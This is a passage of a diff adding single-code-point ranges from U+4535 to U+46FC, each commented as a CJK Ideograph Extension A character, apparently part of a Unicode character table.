+ ["\u4535", "\u4535"], /* CJK Ideograph Extension A */
+ ["\u4536", "\u4536"], /* CJK Ideograph Extension A */
+ ["\u4537", "\u4537"], /* CJK Ideograph Extension A */
+ ["\u4538", "\u4538"], /* CJK Ideograph Extension A */
+ ["\u4539", "\u4539"], /* CJK Ideograph Extension A */
+ ["\u453A", "\u453A"], /* CJK Ideograph Extension A */
+ ["\u453B", "\u453B"], /* CJK Ideograph Extension A */
+ ["\u453C", "\u453C"], /* CJK Ideograph Extension A */
+ ["\u453D", "\u453D"], /* CJK Ideograph Extension A */
+ ["\u453E", "\u453E"], /* CJK Ideograph Extension A */
+ ["\u453F", "\u453F"], /* CJK Ideograph Extension A */
+ ["\u4540", "\u4540"], /* CJK Ideograph Extension A */
+ ["\u4541", "\u4541"], /* CJK Ideograph Extension A */
+ ["\u4542", "\u4542"], /* CJK Ideograph Extension A */
+ ["\u4543", "\u4543"], /* CJK Ideograph Extension A */
+ ["\u4544", "\u4544"], /* CJK Ideograph Extension A */
+ ["\u4545", "\u4545"], /* CJK Ideograph Extension A */
+ ["\u4546", "\u4546"], /* CJK Ideograph Extension A */
+ ["\u4547", "\u4547"], /* CJK Ideograph Extension A */
+ ["\u4548", "\u4548"], /* CJK Ideograph Extension A */
+ ["\u4549", "\u4549"], /* CJK Ideograph Extension A */
+ ["\u454A", "\u454A"], /* CJK Ideograph Extension A */
+ ["\u454B", "\u454B"], /* CJK Ideograph Extension A */
+ ["\u454C", "\u454C"], /* CJK Ideograph Extension A */
+ ["\u454D", "\u454D"], /* CJK Ideograph Extension A */
+ ["\u454E", "\u454E"], /* CJK Ideograph Extension A */
+ ["\u454F", "\u454F"], /* CJK Ideograph Extension A */
+ ["\u4550", "\u4550"], /* CJK Ideograph Extension A */
+ ["\u4551", "\u4551"], /* CJK Ideograph Extension A */
+ ["\u4552", "\u4552"], /* CJK Ideograph Extension A */
+ ["\u4553", "\u4553"], /* CJK Ideograph Extension A */
+ ["\u4554", "\u4554"], /* CJK Ideograph Extension A */
+ ["\u4555", "\u4555"], /* CJK Ideograph Extension A */
+ ["\u4556", "\u4556"], /* CJK Ideograph Extension A */
+ ["\u4557", "\u4557"], /* CJK Ideograph Extension A */
+ ["\u4558", "\u4558"], /* CJK Ideograph Extension A */
+ ["\u4559", "\u4559"], /* CJK Ideograph Extension A */
+ ["\u455A", "\u455A"], /* CJK Ideograph Extension A */
+ ["\u455B", "\u455B"], /* CJK Ideograph Extension A */
+ ["\u455C", "\u455C"], /* CJK Ideograph Extension A */
+ ["\u455D", "\u455D"], /* CJK Ideograph Extension A */
+ ["\u455E", "\u455E"], /* CJK Ideograph Extension A */
+ ["\u455F", "\u455F"], /* CJK Ideograph Extension A */
+ ["\u4560", "\u4560"], /* CJK Ideograph Extension A */
+ ["\u4561", "\u4561"], /* CJK Ideograph Extension A */
+ ["\u4562", "\u4562"], /* CJK Ideograph Extension A */
+ ["\u4563", "\u4563"], /* CJK Ideograph Extension A */
+ ["\u4564", "\u4564"], /* CJK Ideograph Extension A */
+ ["\u4565", "\u4565"], /* CJK Ideograph Extension A */
+ ["\u4566", "\u4566"], /* CJK Ideograph Extension A */
+ ["\u4567", "\u4567"], /* CJK Ideograph Extension A */
+ ["\u4568", "\u4568"], /* CJK Ideograph Extension A */
+ ["\u4569", "\u4569"], /* CJK Ideograph Extension A */
+ ["\u456A", "\u456A"], /* CJK Ideograph Extension A */
+ ["\u456B", "\u456B"], /* CJK Ideograph Extension A */
+ ["\u456C", "\u456C"], /* CJK Ideograph Extension A */
+ ["\u456D", "\u456D"], /* CJK Ideograph Extension A */
+ ["\u456E", "\u456E"], /* CJK Ideograph Extension A */
+ ["\u456F", "\u456F"], /* CJK Ideograph Extension A */
+ ["\u4570", "\u4570"], /* CJK Ideograph Extension A */
+ ["\u4571", "\u4571"], /* CJK Ideograph Extension A */
+ ["\u4572", "\u4572"], /* CJK Ideograph Extension A */
+ ["\u4573", "\u4573"], /* CJK Ideograph Extension A */
+ ["\u4574", "\u4574"], /* CJK Ideograph Extension A */
+ ["\u4575", "\u4575"], /* CJK Ideograph Extension A */
+ ["\u4576", "\u4576"], /* CJK Ideograph Extension A */
+ ["\u4577", "\u4577"], /* CJK Ideograph Extension A */
+ ["\u4578", "\u4578"], /* CJK Ideograph Extension A */
+ ["\u4579", "\u4579"], /* CJK Ideograph Extension A */
+ ["\u457A", "\u457A"], /* CJK Ideograph Extension A */
+ ["\u457B", "\u457B"], /* CJK Ideograph Extension A */
+ ["\u457C", "\u457C"], /* CJK Ideograph Extension A */
+ ["\u457D", "\u457D"], /* CJK Ideograph Extension A */
+ ["\u457E", "\u457E"], /* CJK Ideograph Extension A */
+ ["\u457F", "\u457F"], /* CJK Ideograph Extension A */
+ ["\u4580", "\u4580"], /* CJK Ideograph Extension A */
+ ["\u4581", "\u4581"], /* CJK Ideograph Extension A */
+ ["\u4582", "\u4582"], /* CJK Ideograph Extension A */
+ ["\u4583", "\u4583"], /* CJK Ideograph Extension A */
+ ["\u4584", "\u4584"], /* CJK Ideograph Extension A */
+ ["\u4585", "\u4585"], /* CJK Ideograph Extension A */
+ ["\u4586", "\u4586"], /* CJK Ideograph Extension A */
+ ["\u4587", "\u4587"], /* CJK Ideograph Extension A */
+ ["\u4588", "\u4588"], /* CJK Ideograph Extension A */
+ ["\u4589", "\u4589"], /* CJK Ideograph Extension A */
+ ["\u458A", "\u458A"], /* CJK Ideograph Extension A */
+ ["\u458B", "\u458B"], /* CJK Ideograph Extension A */
+ ["\u458C", "\u458C"], /* CJK Ideograph Extension A */
+ ["\u458D", "\u458D"], /* CJK Ideograph Extension A */
+ ["\u458E", "\u458E"], /* CJK Ideograph Extension A */
+ ["\u458F", "\u458F"], /* CJK Ideograph Extension A */
+ ["\u4590", "\u4590"], /* CJK Ideograph Extension A */
+ ["\u4591", "\u4591"], /* CJK Ideograph Extension A */
+ ["\u4592", "\u4592"], /* CJK Ideograph Extension A */
+ ["\u4593", "\u4593"], /* CJK Ideograph Extension A */
+ ["\u4594", "\u4594"], /* CJK Ideograph Extension A */
+ ["\u4595", "\u4595"], /* CJK Ideograph Extension A */
+ ["\u4596", "\u4596"], /* CJK Ideograph Extension A */
+ ["\u4597", "\u4597"], /* CJK Ideograph Extension A */
+ ["\u4598", "\u4598"], /* CJK Ideograph Extension A */
+ ["\u4599", "\u4599"], /* CJK Ideograph Extension A */
+ ["\u459A", "\u459A"], /* CJK Ideograph Extension A */
+ ["\u459B", "\u459B"], /* CJK Ideograph Extension A */
+ ["\u459C", "\u459C"], /* CJK Ideograph Extension A */
+ ["\u459D", "\u459D"], /* CJK Ideograph Extension A */
+ ["\u459E", "\u459E"], /* CJK Ideograph Extension A */
+ ["\u459F", "\u459F"], /* CJK Ideograph Extension A */
+ ["\u45A0", "\u45A0"], /* CJK Ideograph Extension A */
+ ["\u45A1", "\u45A1"], /* CJK Ideograph Extension A */
+ ["\u45A2", "\u45A2"], /* CJK Ideograph Extension A */
+ ["\u45A3", "\u45A3"], /* CJK Ideograph Extension A */
+ ["\u45A4", "\u45A4"], /* CJK Ideograph Extension A */
+ ["\u45A5", "\u45A5"], /* CJK Ideograph Extension A */
+ ["\u45A6", "\u45A6"], /* CJK Ideograph Extension A */
+ ["\u45A7", "\u45A7"], /* CJK Ideograph Extension A */
+ ["\u45A8", "\u45A8"], /* CJK Ideograph Extension A */
+ ["\u45A9", "\u45A9"], /* CJK Ideograph Extension A */
+ ["\u45AA", "\u45AA"], /* CJK Ideograph Extension A */
+ ["\u45AB", "\u45AB"], /* CJK Ideograph Extension A */
+ ["\u45AC", "\u45AC"], /* CJK Ideograph Extension A */
+ ["\u45AD", "\u45AD"], /* CJK Ideograph Extension A */
+ ["\u45AE", "\u45AE"], /* CJK Ideograph Extension A */
+ ["\u45AF", "\u45AF"], /* CJK Ideograph Extension A */
+ ["\u45B0", "\u45B0"], /* CJK Ideograph Extension A */
+ ["\u45B1", "\u45B1"], /* CJK Ideograph Extension A */
+ ["\u45B2", "\u45B2"], /* CJK Ideograph Extension A */
+ ["\u45B3", "\u45B3"], /* CJK Ideograph Extension A */
+ ["\u45B4", "\u45B4"], /* CJK Ideograph Extension A */
+ ["\u45B5", "\u45B5"], /* CJK Ideograph Extension A */
+ ["\u45B6", "\u45B6"], /* CJK Ideograph Extension A */
+ ["\u45B7", "\u45B7"], /* CJK Ideograph Extension A */
+ ["\u45B8", "\u45B8"], /* CJK Ideograph Extension A */
+ ["\u45B9", "\u45B9"], /* CJK Ideograph Extension A */
+ ["\u45BA", "\u45BA"], /* CJK Ideograph Extension A */
+ ["\u45BB", "\u45BB"], /* CJK Ideograph Extension A */
+ ["\u45BC", "\u45BC"], /* CJK Ideograph Extension A */
+ ["\u45BD", "\u45BD"], /* CJK Ideograph Extension A */
+ ["\u45BE", "\u45BE"], /* CJK Ideograph Extension A */
+ ["\u45BF", "\u45BF"], /* CJK Ideograph Extension A */
+ ["\u45C0", "\u45C0"], /* CJK Ideograph Extension A */
+ ["\u45C1", "\u45C1"], /* CJK Ideograph Extension A */
+ ["\u45C2", "\u45C2"], /* CJK Ideograph Extension A */
+ ["\u45C3", "\u45C3"], /* CJK Ideograph Extension A */
+ ["\u45C4", "\u45C4"], /* CJK Ideograph Extension A */
+ ["\u45C5", "\u45C5"], /* CJK Ideograph Extension A */
+ ["\u45C6", "\u45C6"], /* CJK Ideograph Extension A */
+ ["\u45C7", "\u45C7"], /* CJK Ideograph Extension A */
+ ["\u45C8", "\u45C8"], /* CJK Ideograph Extension A */
+ ["\u45C9", "\u45C9"], /* CJK Ideograph Extension A */
+ ["\u45CA", "\u45CA"], /* CJK Ideograph Extension A */
+ ["\u45CB", "\u45CB"], /* CJK Ideograph Extension A */
+ ["\u45CC", "\u45CC"], /* CJK Ideograph Extension A */
+ ["\u45CD", "\u45CD"], /* CJK Ideograph Extension A */
+ ["\u45CE", "\u45CE"], /* CJK Ideograph Extension A */
+ ["\u45CF", "\u45CF"], /* CJK Ideograph Extension A */
+ ["\u45D0", "\u45D0"], /* CJK Ideograph Extension A */
+ ["\u45D1", "\u45D1"], /* CJK Ideograph Extension A */
+ ["\u45D2", "\u45D2"], /* CJK Ideograph Extension A */
+ ["\u45D3", "\u45D3"], /* CJK Ideograph Extension A */
+ ["\u45D4", "\u45D4"], /* CJK Ideograph Extension A */
+ ["\u45D5", "\u45D5"], /* CJK Ideograph Extension A */
+ ["\u45D6", "\u45D6"], /* CJK Ideograph Extension A */
+ ["\u45D7", "\u45D7"], /* CJK Ideograph Extension A */
+ ["\u45D8", "\u45D8"], /* CJK Ideograph Extension A */
+ ["\u45D9", "\u45D9"], /* CJK Ideograph Extension A */
+ ["\u45DA", "\u45DA"], /* CJK Ideograph Extension A */
+ ["\u45DB", "\u45DB"], /* CJK Ideograph Extension A */
+ ["\u45DC", "\u45DC"], /* CJK Ideograph Extension A */
+ ["\u45DD", "\u45DD"], /* CJK Ideograph Extension A */
+ ["\u45DE", "\u45DE"], /* CJK Ideograph Extension A */
+ ["\u45DF", "\u45DF"], /* CJK Ideograph Extension A */
+ ["\u45E0", "\u45E0"], /* CJK Ideograph Extension A */
+ ["\u45E1", "\u45E1"], /* CJK Ideograph Extension A */
+ ["\u45E2", "\u45E2"], /* CJK Ideograph Extension A */
+ ["\u45E3", "\u45E3"], /* CJK Ideograph Extension A */
+ ["\u45E4", "\u45E4"], /* CJK Ideograph Extension A */
+ ["\u45E5", "\u45E5"], /* CJK Ideograph Extension A */
+ ["\u45E6", "\u45E6"], /* CJK Ideograph Extension A */
+ ["\u45E7", "\u45E7"], /* CJK Ideograph Extension A */
+ ["\u45E8", "\u45E8"], /* CJK Ideograph Extension A */
+ ["\u45E9", "\u45E9"], /* CJK Ideograph Extension A */
+ ["\u45EA", "\u45EA"], /* CJK Ideograph Extension A */
+ ["\u45EB", "\u45EB"], /* CJK Ideograph Extension A */
+ ["\u45EC", "\u45EC"], /* CJK Ideograph Extension A */
+ ["\u45ED", "\u45ED"], /* CJK Ideograph Extension A */
+ ["\u45EE", "\u45EE"], /* CJK Ideograph Extension A */
+ ["\u45EF", "\u45EF"], /* CJK Ideograph Extension A */
+ ["\u45F0", "\u45F0"], /* CJK Ideograph Extension A */
+ ["\u45F1", "\u45F1"], /* CJK Ideograph Extension A */
+ ["\u45F2", "\u45F2"], /* CJK Ideograph Extension A */
+ ["\u45F3", "\u45F3"], /* CJK Ideograph Extension A */
+ ["\u45F4", "\u45F4"], /* CJK Ideograph Extension A */
+ ["\u45F5", "\u45F5"], /* CJK Ideograph Extension A */
+ ["\u45F6", "\u45F6"], /* CJK Ideograph Extension A */
+ ["\u45F7", "\u45F7"], /* CJK Ideograph Extension A */
+ ["\u45F8", "\u45F8"], /* CJK Ideograph Extension A */
+ ["\u45F9", "\u45F9"], /* CJK Ideograph Extension A */
+ ["\u45FA", "\u45FA"], /* CJK Ideograph Extension A */
+ ["\u45FB", "\u45FB"], /* CJK Ideograph Extension A */
+ ["\u45FC", "\u45FC"], /* CJK Ideograph Extension A */
+ ["\u45FD", "\u45FD"], /* CJK Ideograph Extension A */
+ ["\u45FE", "\u45FE"], /* CJK Ideograph Extension A */
+ ["\u45FF", "\u45FF"], /* CJK Ideograph Extension A */
+ ["\u4600", "\u4600"], /* CJK Ideograph Extension A */
+ ["\u4601", "\u4601"], /* CJK Ideograph Extension A */
+ ["\u4602", "\u4602"], /* CJK Ideograph Extension A */
+ ["\u4603", "\u4603"], /* CJK Ideograph Extension A */
+ ["\u4604", "\u4604"], /* CJK Ideograph Extension A */
+ ["\u4605", "\u4605"], /* CJK Ideograph Extension A */
+ ["\u4606", "\u4606"], /* CJK Ideograph Extension A */
+ ["\u4607", "\u4607"], /* CJK Ideograph Extension A */
+ ["\u4608", "\u4608"], /* CJK Ideograph Extension A */
+ ["\u4609", "\u4609"], /* CJK Ideograph Extension A */
+ ["\u460A", "\u460A"], /* CJK Ideograph Extension A */
+ ["\u460B", "\u460B"], /* CJK Ideograph Extension A */
+ ["\u460C", "\u460C"], /* CJK Ideograph Extension A */
+ ["\u460D", "\u460D"], /* CJK Ideograph Extension A */
+ ["\u460E", "\u460E"], /* CJK Ideograph Extension A */
+ ["\u460F", "\u460F"], /* CJK Ideograph Extension A */
+ ["\u4610", "\u4610"], /* CJK Ideograph Extension A */
+ ["\u4611", "\u4611"], /* CJK Ideograph Extension A */
+ ["\u4612", "\u4612"], /* CJK Ideograph Extension A */
+ ["\u4613", "\u4613"], /* CJK Ideograph Extension A */
+ ["\u4614", "\u4614"], /* CJK Ideograph Extension A */
+ ["\u4615", "\u4615"], /* CJK Ideograph Extension A */
+ ["\u4616", "\u4616"], /* CJK Ideograph Extension A */
+ ["\u4617", "\u4617"], /* CJK Ideograph Extension A */
+ ["\u4618", "\u4618"], /* CJK Ideograph Extension A */
+ ["\u4619", "\u4619"], /* CJK Ideograph Extension A */
+ ["\u461A", "\u461A"], /* CJK Ideograph Extension A */
+ ["\u461B", "\u461B"], /* CJK Ideograph Extension A */
+ ["\u461C", "\u461C"], /* CJK Ideograph Extension A */
+ ["\u461D", "\u461D"], /* CJK Ideograph Extension A */
+ ["\u461E", "\u461E"], /* CJK Ideograph Extension A */
+ ["\u461F", "\u461F"], /* CJK Ideograph Extension A */
+ ["\u4620", "\u4620"], /* CJK Ideograph Extension A */
+ ["\u4621", "\u4621"], /* CJK Ideograph Extension A */
+ ["\u4622", "\u4622"], /* CJK Ideograph Extension A */
+ ["\u4623", "\u4623"], /* CJK Ideograph Extension A */
+ ["\u4624", "\u4624"], /* CJK Ideograph Extension A */
+ ["\u4625", "\u4625"], /* CJK Ideograph Extension A */
+ ["\u4626", "\u4626"], /* CJK Ideograph Extension A */
+ ["\u4627", "\u4627"], /* CJK Ideograph Extension A */
+ ["\u4628", "\u4628"], /* CJK Ideograph Extension A */
+ ["\u4629", "\u4629"], /* CJK Ideograph Extension A */
+ ["\u462A", "\u462A"], /* CJK Ideograph Extension A */
+ ["\u462B", "\u462B"], /* CJK Ideograph Extension A */
+ ["\u462C", "\u462C"], /* CJK Ideograph Extension A */
+ ["\u462D", "\u462D"], /* CJK Ideograph Extension A */
+ ["\u462E", "\u462E"], /* CJK Ideograph Extension A */
+ ["\u462F", "\u462F"], /* CJK Ideograph Extension A */
+ ["\u4630", "\u4630"], /* CJK Ideograph Extension A */
+ ["\u4631", "\u4631"], /* CJK Ideograph Extension A */
+ ["\u4632", "\u4632"], /* CJK Ideograph Extension A */
+ ["\u4633", "\u4633"], /* CJK Ideograph Extension A */
+ ["\u4634", "\u4634"], /* CJK Ideograph Extension A */
+ ["\u4635", "\u4635"], /* CJK Ideograph Extension A */
+ ["\u4636", "\u4636"], /* CJK Ideograph Extension A */
+ ["\u4637", "\u4637"], /* CJK Ideograph Extension A */
+ ["\u4638", "\u4638"], /* CJK Ideograph Extension A */
+ ["\u4639", "\u4639"], /* CJK Ideograph Extension A */
+ ["\u463A", "\u463A"], /* CJK Ideograph Extension A */
+ ["\u463B", "\u463B"], /* CJK Ideograph Extension A */
+ ["\u463C", "\u463C"], /* CJK Ideograph Extension A */
+ ["\u463D", "\u463D"], /* CJK Ideograph Extension A */
+ ["\u463E", "\u463E"], /* CJK Ideograph Extension A */
+ ["\u463F", "\u463F"], /* CJK Ideograph Extension A */
+ ["\u4640", "\u4640"], /* CJK Ideograph Extension A */
+ ["\u4641", "\u4641"], /* CJK Ideograph Extension A */
+ ["\u4642", "\u4642"], /* CJK Ideograph Extension A */
+ ["\u4643", "\u4643"], /* CJK Ideograph Extension A */
+ ["\u4644", "\u4644"], /* CJK Ideograph Extension A */
+ ["\u4645", "\u4645"], /* CJK Ideograph Extension A */
+ ["\u4646", "\u4646"], /* CJK Ideograph Extension A */
+ ["\u4647", "\u4647"], /* CJK Ideograph Extension A */
+ ["\u4648", "\u4648"], /* CJK Ideograph Extension A */
+ ["\u4649", "\u4649"], /* CJK Ideograph Extension A */
+ ["\u464A", "\u464A"], /* CJK Ideograph Extension A */
+ ["\u464B", "\u464B"], /* CJK Ideograph Extension A */
+ ["\u464C", "\u464C"], /* CJK Ideograph Extension A */
+ ["\u464D", "\u464D"], /* CJK Ideograph Extension A */
+ ["\u464E", "\u464E"], /* CJK Ideograph Extension A */
+ ["\u464F", "\u464F"], /* CJK Ideograph Extension A */
+ ["\u4650", "\u4650"], /* CJK Ideograph Extension A */
+ ["\u4651", "\u4651"], /* CJK Ideograph Extension A */
+ ["\u4652", "\u4652"], /* CJK Ideograph Extension A */
+ ["\u4653", "\u4653"], /* CJK Ideograph Extension A */
+ ["\u4654", "\u4654"], /* CJK Ideograph Extension A */
+ ["\u4655", "\u4655"], /* CJK Ideograph Extension A */
+ ["\u4656", "\u4656"], /* CJK Ideograph Extension A */
+ ["\u4657", "\u4657"], /* CJK Ideograph Extension A */
+ ["\u4658", "\u4658"], /* CJK Ideograph Extension A */
+ ["\u4659", "\u4659"], /* CJK Ideograph Extension A */
+ ["\u465A", "\u465A"], /* CJK Ideograph Extension A */
+ ["\u465B", "\u465B"], /* CJK Ideograph Extension A */
+ ["\u465C", "\u465C"], /* CJK Ideograph Extension A */
+ ["\u465D", "\u465D"], /* CJK Ideograph Extension A */
+ ["\u465E", "\u465E"], /* CJK Ideograph Extension A */
+ ["\u465F", "\u465F"], /* CJK Ideograph Extension A */
+ ["\u4660", "\u4660"], /* CJK Ideograph Extension A */
+ ["\u4661", "\u4661"], /* CJK Ideograph Extension A */
+ ["\u4662", "\u4662"], /* CJK Ideograph Extension A */
+ ["\u4663", "\u4663"], /* CJK Ideograph Extension A */
+ ["\u4664", "\u4664"], /* CJK Ideograph Extension A */
+ ["\u4665", "\u4665"], /* CJK Ideograph Extension A */
+ ["\u4666", "\u4666"], /* CJK Ideograph Extension A */
+ ["\u4667", "\u4667"], /* CJK Ideograph Extension A */
+ ["\u4668", "\u4668"], /* CJK Ideograph Extension A */
+ ["\u4669", "\u4669"], /* CJK Ideograph Extension A */
+ ["\u466A", "\u466A"], /* CJK Ideograph Extension A */
+ ["\u466B", "\u466B"], /* CJK Ideograph Extension A */
+ ["\u466C", "\u466C"], /* CJK Ideograph Extension A */
+ ["\u466D", "\u466D"], /* CJK Ideograph Extension A */
+ ["\u466E", "\u466E"], /* CJK Ideograph Extension A */
+ ["\u466F", "\u466F"], /* CJK Ideograph Extension A */
+ ["\u4670", "\u4670"], /* CJK Ideograph Extension A */
+ ["\u4671", "\u4671"], /* CJK Ideograph Extension A */
+ ["\u4672", "\u4672"], /* CJK Ideograph Extension A */
+ ["\u4673", "\u4673"], /* CJK Ideograph Extension A */
+ ["\u4674", "\u4674"], /* CJK Ideograph Extension A */
+ ["\u4675", "\u4675"], /* CJK Ideograph Extension A */
+ ["\u4676", "\u4676"], /* CJK Ideograph Extension A */
+ ["\u4677", "\u4677"], /* CJK Ideograph Extension A */
+ ["\u4678", "\u4678"], /* CJK Ideograph Extension A */
+ ["\u4679", "\u4679"], /* CJK Ideograph Extension A */
+ ["\u467A", "\u467A"], /* CJK Ideograph Extension A */
+ ["\u467B", "\u467B"], /* CJK Ideograph Extension A */
+ ["\u467C", "\u467C"], /* CJK Ideograph Extension A */
+ ["\u467D", "\u467D"], /* CJK Ideograph Extension A */
+ ["\u467E", "\u467E"], /* CJK Ideograph Extension A */
+ ["\u467F", "\u467F"], /* CJK Ideograph Extension A */
+ ["\u4680", "\u4680"], /* CJK Ideograph Extension A */
+ ["\u4681", "\u4681"], /* CJK Ideograph Extension A */
+ ["\u4682", "\u4682"], /* CJK Ideograph Extension A */
+ ["\u4683", "\u4683"], /* CJK Ideograph Extension A */
+ ["\u4684", "\u4684"], /* CJK Ideograph Extension A */
+ ["\u4685", "\u4685"], /* CJK Ideograph Extension A */
+ ["\u4686", "\u4686"], /* CJK Ideograph Extension A */
+ ["\u4687", "\u4687"], /* CJK Ideograph Extension A */
+ ["\u4688", "\u4688"], /* CJK Ideograph Extension A */
+ ["\u4689", "\u4689"], /* CJK Ideograph Extension A */
+ ["\u468A", "\u468A"], /* CJK Ideograph Extension A */
+ ["\u468B", "\u468B"], /* CJK Ideograph Extension A */
+ ["\u468C", "\u468C"], /* CJK Ideograph Extension A */
+ ["\u468D", "\u468D"], /* CJK Ideograph Extension A */
+ ["\u468E", "\u468E"], /* CJK Ideograph Extension A */
+ ["\u468F", "\u468F"], /* CJK Ideograph Extension A */
+ ["\u4690", "\u4690"], /* CJK Ideograph Extension A */
+ ["\u4691", "\u4691"], /* CJK Ideograph Extension A */
+ ["\u4692", "\u4692"], /* CJK Ideograph Extension A */
+ ["\u4693", "\u4693"], /* CJK Ideograph Extension A */
+ ["\u4694", "\u4694"], /* CJK Ideograph Extension A */
+ ["\u4695", "\u4695"], /* CJK Ideograph Extension A */
+ ["\u4696", "\u4696"], /* CJK Ideograph Extension A */
+ ["\u4697", "\u4697"], /* CJK Ideograph Extension A */
+ ["\u4698", "\u4698"], /* CJK Ideograph Extension A */
+ ["\u4699", "\u4699"], /* CJK Ideograph Extension A */
+ ["\u469A", "\u469A"], /* CJK Ideograph Extension A */
+ ["\u469B", "\u469B"], /* CJK Ideograph Extension A */
+ ["\u469C", "\u469C"], /* CJK Ideograph Extension A */
+ ["\u469D", "\u469D"], /* CJK Ideograph Extension A */
+ ["\u469E", "\u469E"], /* CJK Ideograph Extension A */
+ ["\u469F", "\u469F"], /* CJK Ideograph Extension A */
+ ["\u46A0", "\u46A0"], /* CJK Ideograph Extension A */
+ ["\u46A1", "\u46A1"], /* CJK Ideograph Extension A */
+ ["\u46A2", "\u46A2"], /* CJK Ideograph Extension A */
+ ["\u46A3", "\u46A3"], /* CJK Ideograph Extension A */
+ ["\u46A4", "\u46A4"], /* CJK Ideograph Extension A */
+ ["\u46A5", "\u46A5"], /* CJK Ideograph Extension A */
+ ["\u46A6", "\u46A6"], /* CJK Ideograph Extension A */
+ ["\u46A7", "\u46A7"], /* CJK Ideograph Extension A */
+ ["\u46A8", "\u46A8"], /* CJK Ideograph Extension A */
+ ["\u46A9", "\u46A9"], /* CJK Ideograph Extension A */
+ ["\u46AA", "\u46AA"], /* CJK Ideograph Extension A */
+ ["\u46AB", "\u46AB"], /* CJK Ideograph Extension A */
+ ["\u46AC", "\u46AC"], /* CJK Ideograph Extension A */
+ ["\u46AD", "\u46AD"], /* CJK Ideograph Extension A */
+ ["\u46AE", "\u46AE"], /* CJK Ideograph Extension A */
+ ["\u46AF", "\u46AF"], /* CJK Ideograph Extension A */
+ ["\u46B0", "\u46B0"], /* CJK Ideograph Extension A */
+ ["\u46B1", "\u46B1"], /* CJK Ideograph Extension A */
+ ["\u46B2", "\u46B2"], /* CJK Ideograph Extension A */
+ ["\u46B3", "\u46B3"], /* CJK Ideograph Extension A */
+ ["\u46B4", "\u46B4"], /* CJK Ideograph Extension A */
+ ["\u46B5", "\u46B5"], /* CJK Ideograph Extension A */
+ ["\u46B6", "\u46B6"], /* CJK Ideograph Extension A */
+ ["\u46B7", "\u46B7"], /* CJK Ideograph Extension A */
+ ["\u46B8", "\u46B8"], /* CJK Ideograph Extension A */
+ ["\u46B9", "\u46B9"], /* CJK Ideograph Extension A */
+ ["\u46BA", "\u46BA"], /* CJK Ideograph Extension A */
+ ["\u46BB", "\u46BB"], /* CJK Ideograph Extension A */
+ ["\u46BC", "\u46BC"], /* CJK Ideograph Extension A */
+ ["\u46BD", "\u46BD"], /* CJK Ideograph Extension A */
+ ["\u46BE", "\u46BE"], /* CJK Ideograph Extension A */
+ ["\u46BF", "\u46BF"], /* CJK Ideograph Extension A */
+ ["\u46C0", "\u46C0"], /* CJK Ideograph Extension A */
+ ["\u46C1", "\u46C1"], /* CJK Ideograph Extension A */
+ ["\u46C2", "\u46C2"], /* CJK Ideograph Extension A */
+ ["\u46C3", "\u46C3"], /* CJK Ideograph Extension A */
+ ["\u46C4", "\u46C4"], /* CJK Ideograph Extension A */
+ ["\u46C5", "\u46C5"], /* CJK Ideograph Extension A */
+ ["\u46C6", "\u46C6"], /* CJK Ideograph Extension A */
+ ["\u46C7", "\u46C7"], /* CJK Ideograph Extension A */
+ ["\u46C8", "\u46C8"], /* CJK Ideograph Extension A */
+ ["\u46C9", "\u46C9"], /* CJK Ideograph Extension A */
+ ["\u46CA", "\u46CA"], /* CJK Ideograph Extension A */
+ ["\u46CB", "\u46CB"], /* CJK Ideograph Extension A */
+ ["\u46CC", "\u46CC"], /* CJK Ideograph Extension A */
+ ["\u46CD", "\u46CD"], /* CJK Ideograph Extension A */
+ ["\u46CE", "\u46CE"], /* CJK Ideograph Extension A */
+ ["\u46CF", "\u46CF"], /* CJK Ideograph Extension A */
+ ["\u46D0", "\u46D0"], /* CJK Ideograph Extension A */
+ ["\u46D1", "\u46D1"], /* CJK Ideograph Extension A */
+ ["\u46D2", "\u46D2"], /* CJK Ideograph Extension A */
+ ["\u46D3", "\u46D3"], /* CJK Ideograph Extension A */
+ ["\u46D4", "\u46D4"], /* CJK Ideograph Extension A */
+ ["\u46D5", "\u46D5"], /* CJK Ideograph Extension A */
+ ["\u46D6", "\u46D6"], /* CJK Ideograph Extension A */
+ ["\u46D7", "\u46D7"], /* CJK Ideograph Extension A */
+ ["\u46D8", "\u46D8"], /* CJK Ideograph Extension A */
+ ["\u46D9", "\u46D9"], /* CJK Ideograph Extension A */
+ ["\u46DA", "\u46DA"], /* CJK Ideograph Extension A */
+ ["\u46DB", "\u46DB"], /* CJK Ideograph Extension A */
+ ["\u46DC", "\u46DC"], /* CJK Ideograph Extension A */
+ ["\u46DD", "\u46DD"], /* CJK Ideograph Extension A */
+ ["\u46DE", "\u46DE"], /* CJK Ideograph Extension A */
+ ["\u46DF", "\u46DF"], /* CJK Ideograph Extension A */
+ ["\u46E0", "\u46E0"], /* CJK Ideograph Extension A */
+ ["\u46E1", "\u46E1"], /* CJK Ideograph Extension A */
+ ["\u46E2", "\u46E2"], /* CJK Ideograph Extension A */
+ ["\u46E3", "\u46E3"], /* CJK Ideograph Extension A */
+ ["\u46E4", "\u46E4"], /* CJK Ideograph Extension A */
+ ["\u46E5", "\u46E5"], /* CJK Ideograph Extension A */
+ ["\u46E6", "\u46E6"], /* CJK Ideograph Extension A */
+ ["\u46E7", "\u46E7"], /* CJK Ideograph Extension A */
+ ["\u46E8", "\u46E8"], /* CJK Ideograph Extension A */
+ ["\u46E9", "\u46E9"], /* CJK Ideograph Extension A */
+ ["\u46EA", "\u46EA"], /* CJK Ideograph Extension A */
+ ["\u46EB", "\u46EB"], /* CJK Ideograph Extension A */
+ ["\u46EC", "\u46EC"], /* CJK Ideograph Extension A */
+ ["\u46ED", "\u46ED"], /* CJK Ideograph Extension A */
+ ["\u46EE", "\u46EE"], /* CJK Ideograph Extension A */
+ ["\u46EF", "\u46EF"], /* CJK Ideograph Extension A */
+ ["\u46F0", "\u46F0"], /* CJK Ideograph Extension A */
+ ["\u46F1", "\u46F1"], /* CJK Ideograph Extension A */
+ ["\u46F2", "\u46F2"], /* CJK Ideograph Extension A */
+ ["\u46F3", "\u46F3"], /* CJK Ideograph Extension A */
+ ["\u46F4", "\u46F4"], /* CJK Ideograph Extension A */
+ ["\u46F5", "\u46F5"], /* CJK Ideograph Extension A */
+ ["\u46F6", "\u46F6"], /* CJK Ideograph Extension A */
+ ["\u46F7", "\u46F7"], /* CJK Ideograph Extension A */
+ ["\u46F8", "\u46F8"], /* CJK Ideograph Extension A */
+ ["\u46F9", "\u46F9"], /* CJK Ideograph Extension A */
+ ["\u46FA", "\u46FA"], /* CJK Ideograph Extension A */
+ ["\u46FB", "\u46FB"], /* CJK Ideograph Extension A */
+ ["\u46FC", "\u46FC"], /* CJK Ideograph Extension A */
